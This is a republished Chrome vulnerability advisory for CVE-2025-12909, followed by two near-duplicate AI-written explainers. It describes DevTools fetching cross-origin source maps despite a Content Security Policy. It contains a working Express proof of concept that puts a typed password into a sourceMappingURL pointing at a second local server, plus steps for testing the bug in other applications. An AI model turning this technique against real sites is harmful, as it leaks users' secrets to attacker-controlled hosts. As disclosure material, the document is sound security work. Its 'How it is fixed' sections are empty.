Skip to content
Info disclosure Advisory Intermediate CVE-2025-12909

Insufficient policy enforcement in Devtools (CVE-2025-12909)

The browser's DevTools loaded a source map from an unauthorised domain despite a Content Security Policy that should have blocked cross-origin requests. An attacker could exfiltrate a secret passphrase typed into a password field by embedding it in a source map URL that DevTools fetches.

Noam Gaash Follow

Originally disclosed on Chrome VRP

Bounty$1,000 Low View original
  • Fix shipped in 12 months

VULNERABILITY DETAILS

The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.

VERSION

  • Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
  • Operating System: Ubuntu 24.04 LTS (Codename: noble)

REPRODUCTION CASE

  1. tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
  2. save the code below as server.js
  3. execute node server.js
  4. go to http://localhost:3007/
  5. enter a secret phrase to the password field
  6. open the devtool

expected behavior:

The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.

actual behavior:

The browser transmit the secret passphrase to a third party once the developers tool is opened.

JavaScript
import express from 'express'

const app = express()
const app2 = express()

app.get('/', (req, res) => {
    console.log('index requested')
    res.send(`
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
        <input type="password" onkeyup="f(this.value)"/>
        <script>
            function f(val) {
                document.getElementsByTagName('style')[0].innerHTML = \`
                    /*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
                \`
            }
        </script>
        <style></style>
    `)
})

app2.get('/styles.css.map/:id', (req, res) => {
    console.log(req.params.id, 'requested')
    res.send(``)
})

app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))

CREDIT INFORMATION

Reporter credit: Noam Gaash

The original report as published on the Chromium issue tracker, by Noam Gaash. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

This is a Chrome DevTools advisory, tracked as CVE-2025-12909 and classified as insufficient policy enforcement in DevTools. The reporter is Noam Gaash, the severity is low, and the Chrome VRP paid a bounty of 1000.00 USD. The report was disclosed on 2025-09-02.

The claim is narrow: source maps from unauthorised domains can be loaded despite Content Security Policy restrictions, which can expose sensitive information. The reporter demonstrated this with a small Express application that serves a page on one port and a source map endpoint on another.

The environment used for the test:

  • Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
  • Operating System: Ubuntu 24.04 LTS (Codename: noble)
  • node 20.16.0, npm 10.8.1 and express 4.19.2

Reproduction steps

  1. Save the code below as server.js.
  2. Execute node server.js.
  3. Go to http://localhost:3007/.
  4. Enter a secret phrase into the password field.
  5. Open the DevTools.
JavaScript
import express from 'express'

const app = express()
const app2 = express()

app.get('/', (req, res) => {
    console.log('index requested')
    res.send(`
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
        <input type="password" onkeyup="f(this.value)"/>
        <script>
            function f(val) {
                document.getElementsByTagName('style')[0].innerHTML = \`
                    /*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
                \`
            }
        </script>
        <style></style>
    `)
})

app2.get('/styles.css.map/:id', (req, res) => {
    console.log(req.params.id, 'requested')
    res.send(``)
})

app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))

The page sets a CSP with default-src 'self' 'unsafe-inline' and connect-src 'self'. Every keystroke in the password field calls f, which rewrites the contents of the first <style> element so that it contains a CSS comment of the form /*# sourceMappingURL=http://localhost:3008/styles.css.map/<value> */. The value typed by the user is appended to the source map URL. The second Express instance listens on port 3008 and logs whatever arrives in the :id path segment.

Expected and actual behaviour

The reporter states the expected behaviour: the browser should not make any cross-origin requests, the source map should not be loaded, and an error message should appear in the console.

The actual behaviour is that the browser transmits the secret passphrase to a third party once the developer tools are opened. In the test setup the third party is the second local server on port 3008, which logs the value. The report does not describe any further response handling, and it does not state which Chrome release contained the fix.

Root cause

The report points to DevTools fetching a source map referenced from a stylesheet without applying the page's Content Security Policy to that fetch. The page's policy restricts connections to 'self', yet the source map URL points at a different origin, and the request is made anyway. The report does not describe the internal code path that causes the fetch to bypass the page's policy. The report itself does not describe the internal code path.

The data leak comes from the URL itself: because the source map reference is built from user input, the secret ends up in the path of the outbound request.

Impact

In the demonstrated setup, a source map reference built from user input causes the browser to send a request to a different origin when DevTools is opened. In the demonstration, the value typed into the password field ends up in the path of the outbound request. The report frames this as potentially exposing sensitive information and demonstrates it with a passphrase typed into a password field.

The precondition is significant: the request only happens when DevTools is open. The severity assigned is low, which matches a leak that requires developer tooling to be active.

How this kind of bug works

Source maps are separate files that map minified or generated code back to original sources. Browsers and DevTools discover them through a sourceMappingURL comment in JavaScript or CSS. When DevTools is open, it fetches that URL to show original sources in the Sources panel.

CSP is enforced by the document's network layer for resources the page loads: scripts, styles, images, connections and so on. A fetch performed by the DevTools frontend on behalf of the developer is a different context. If that context does not inherit or re-check the inspected page's policy, a URL that the page itself could never load is still requested. The same reasoning applies to any developer-tool feature that resolves URLs taken from page content.

The second ingredient is attacker control over the URL. A sourceMappingURL comment is just text in a stylesheet or script. If an application lets user input reach CSS or JavaScript text, the attacker can append a comment pointing anywhere and include data in the path or query string.

On the application side, never interpolate user input into stylesheet or script text, and use a strict CSP without 'unsafe-inline' so injected CSS comments cannot take effect.

How to test for it

  1. Identify places where user-controlled data reaches CSS or JavaScript text: inline style blocks built from input, template strings that embed values, error messages rendered into scripts, and any feature that rewrites a <style> element.
  2. Set up a listener on a different origin from the target, for example a second local port or a host you control, and make it log every request path.
  3. Craft input that closes the current context and adds a sourceMappingURL comment pointing at your listener, with a marker value in the path.
  4. Load the page with DevTools closed and confirm no request arrives. Then open DevTools and watch the listener.
  5. A positive result is a request to your origin carrying the marker, made only when DevTools is open, on a page whose CSP would otherwise block that origin.

Common false positives: the request may come from a browser extension, from a proxy, or from the page itself if the CSP does not actually block the origin. Check the CSP header or meta tag carefully, test in a clean profile, and confirm the request disappears when the source map comment is removed. Also confirm the value in the URL is genuinely sensitive rather than a static string you supplied.

How it is fixed

Hunting notes

Recon signals include pages that reflect input into <style> or <script> blocks, CSP headers that look strict but coexist with inline injection, and applications that generate CSS dynamically.

Keep the proof minimal and reproducible, as in the two-server setup above, and state the precondition clearly so the impact is not overstated.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 7 min read.

What happened, in plain words

Chrome has a set of built-in tools for web developers, called DevTools, that you open with F12 or by right-clicking a page and choosing Inspect. One of its jobs is to show you the original, readable version of code that a website has squashed and shortened to load faster. It finds that original version through a small note called a source map.

This report, tracked as CVE-2025-12909, says that Chrome would fetch a source map from a different website even when the page's own security rules said it must not. The reporter, Noam Gaash, showed that a secret typed into a password field could be sent to another server this way. The severity was rated low, the Chrome VRP paid a bounty of 1000.00 USD, and the report was disclosed on 2025-09-02.

The test environment was:

  • Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
  • Operating System: Ubuntu 24.04 LTS (Codename: noble)
  • node 20.16.0, npm 10.8.1 and express 4.19.2

The two pieces of the puzzle

The first piece is a Content Security Policy, or CSP. Think of it as a list of house rules that a website hands to the browser: which places this page is allowed to load things from, and which places it may talk to. The browser is supposed to enforce those rules. Here the page's rule was connect-src 'self', meaning the page may only make network connections back to its own origin, the same scheme, host and port it came from.

The second piece is the source map note. It is just text inside a stylesheet or script, written as a comment that starts with sourceMappingURL=. When DevTools is open, it reads that note and fetches the address to display the original code.

Reproduction steps

  1. Save the code below as server.js.
  2. Execute node server.js.
  3. Go to http://localhost:3007/.
  4. Enter a secret phrase into the password field.
  5. Open the DevTools.
JavaScript
import express from 'express'

const app = express()
const app2 = express()

app.get('/', (req, res) => {
    console.log('index requested')
    res.send(`
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
        <input type="password" onkeyup="f(this.value)"/>
        <script>
            function f(val) {
                document.getElementsByTagName('style')[0].innerHTML = \`
                    /*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
                \`
            }
        </script>
        <style></style>
    `)
})

app2.get('/styles.css.map/:id', (req, res) => {
    console.log(req.params.id, 'requested')
    res.send(``)
})

app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))

What the code does, part by part:

  • Two small web servers are started, one on port 3007 and one on port 3008. A port is like a numbered door on the same computer, so the two servers are two different origins even though both run on your machine.
  • The page served on port 3007 carries the CSP rule above. It also has a password input, and every key press calls the function f with whatever has been typed so far.
  • f replaces the contents of the first <style> element with a CSS comment containing sourceMappingURL=http://localhost:3008/styles.css.map/ followed by the typed value. So the secret becomes part of a web address.
  • The server on port 3008 accepts any address of that shape and prints the last part, the :id, to its console.

Each step matters. The password field gives the attacker-controlled value a realistic home. The style rewrite puts that value into a source map note. The second port gives the browser somewhere to send it that is not the page's own origin, which is exactly what the CSP was meant to stop.

What was expected and what happened

The reporter expected the browser to make no cross-origin requests at all: the source map should not be loaded, and an error should appear in the console.

Instead, the browser sent the secret passphrase to the other server as soon as DevTools was opened. In this test the other server was the local one on port 3008, which logged the value. The report does not say which Chrome release contained the fix.

Why it works

The page's CSP did not stop the source map from being loaded, and the secret travelled out with the request. The report does not describe the internal code path. The leak itself comes from the address: because the secret was pasted into the path of the source map URL, it travelled out with the request.

In general, how this kind of bug works

Source maps exist because websites ship shortened code. A source map is a companion file that maps that shortened code back to what the programmer wrote, and browsers find it through the sourceMappingURL comment. When DevTools is open, it fetches that address to show the original files in the Sources panel.

CSP is enforced for the things the page loads: scripts, styles, images and connections. A fetch made by the DevTools interface is a different context, and if that context does not re-check the inspected page's policy, an address the page itself could never load is still requested. The same reasoning applies to any developer-tool feature that resolves addresses taken from page content.

The second ingredient is control over the address. A source map comment is only text in a stylesheet or script. If an application lets user input reach that text, an attacker can add a comment pointing anywhere and put data in the path or query string.

How to test for it

  1. Look for places where user-controlled data reaches CSS or JavaScript text: inline style blocks built from input, template strings that embed values, error messages rendered into scripts, or any feature that rewrites a <style> element.
  2. Set up a listener on a different origin, for example a second local port or a host you control, and make it log every request path.
  3. Craft input that closes the current context and adds a sourceMappingURL comment pointing at your listener, with a marker value in the path.
  4. Load the page with DevTools closed and confirm no request arrives. Then open DevTools and watch the listener.
  5. A positive result is a request to your origin carrying the marker, made only when DevTools is open, on a page whose CSP would otherwise block that origin.

Watch for false positives: the request may come from a browser extension, from a proxy, or from the page itself if the CSP does not really block the origin. Check the CSP header or meta tag carefully, test in a clean profile, and confirm the request disappears when the source map comment is removed. Also confirm the value in the address is genuinely sensitive rather than a static string you supplied.

How it is fixed

Hunting notes

Signals to look for include pages that reflect input into <style> or <script> blocks, CSP headers that look strict but coexist with inline injection, and applications that generate CSS dynamically.

Keep the proof minimal and reproducible, as in the two-server setup above, and state the precondition clearly so the impact is not overstated.

Glossary

  • CVE: a public identifier given to a known security flaw so people can track it.
  • DevTools: the set of inspection and debugging tools built into a browser, opened with F12 or Inspect.
  • sourceMappingURL: the comment in a stylesheet or script that tells the browser where its source map lives.
  • Content Security Policy (CSP): rules a website gives the browser about which places it may load resources from and connect to.
  • Origin: the combination of scheme, host and port, for example http://localhost:3007; two different ports are two different origins.
  • Cross-origin request: a request sent from one origin to a different one.
  • Port: a numbered door on a computer that a network service listens on.
  • Request: a message a browser sends to a server asking for something.
  • Server: a program that answers requests over a network.
  • Express: a small framework for building web servers in JavaScript.
  • Node.js: a program that runs JavaScript outside the browser, used here to run the server.
  • npm: the package manager that installs JavaScript libraries such as Express.
  • localhost: the name a computer uses to refer to itself.
  • Console: the place in DevTools where messages and errors are printed.
  • Insufficient policy enforcement: a flaw where a security rule exists but is not applied in every place it should be.
  • Bounty: a payment made to someone who reports a security flaw.
  • Severity: a rating of how serious a flaw is, here low.
  • False positive: a test result that looks like a flaw but is caused by something else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.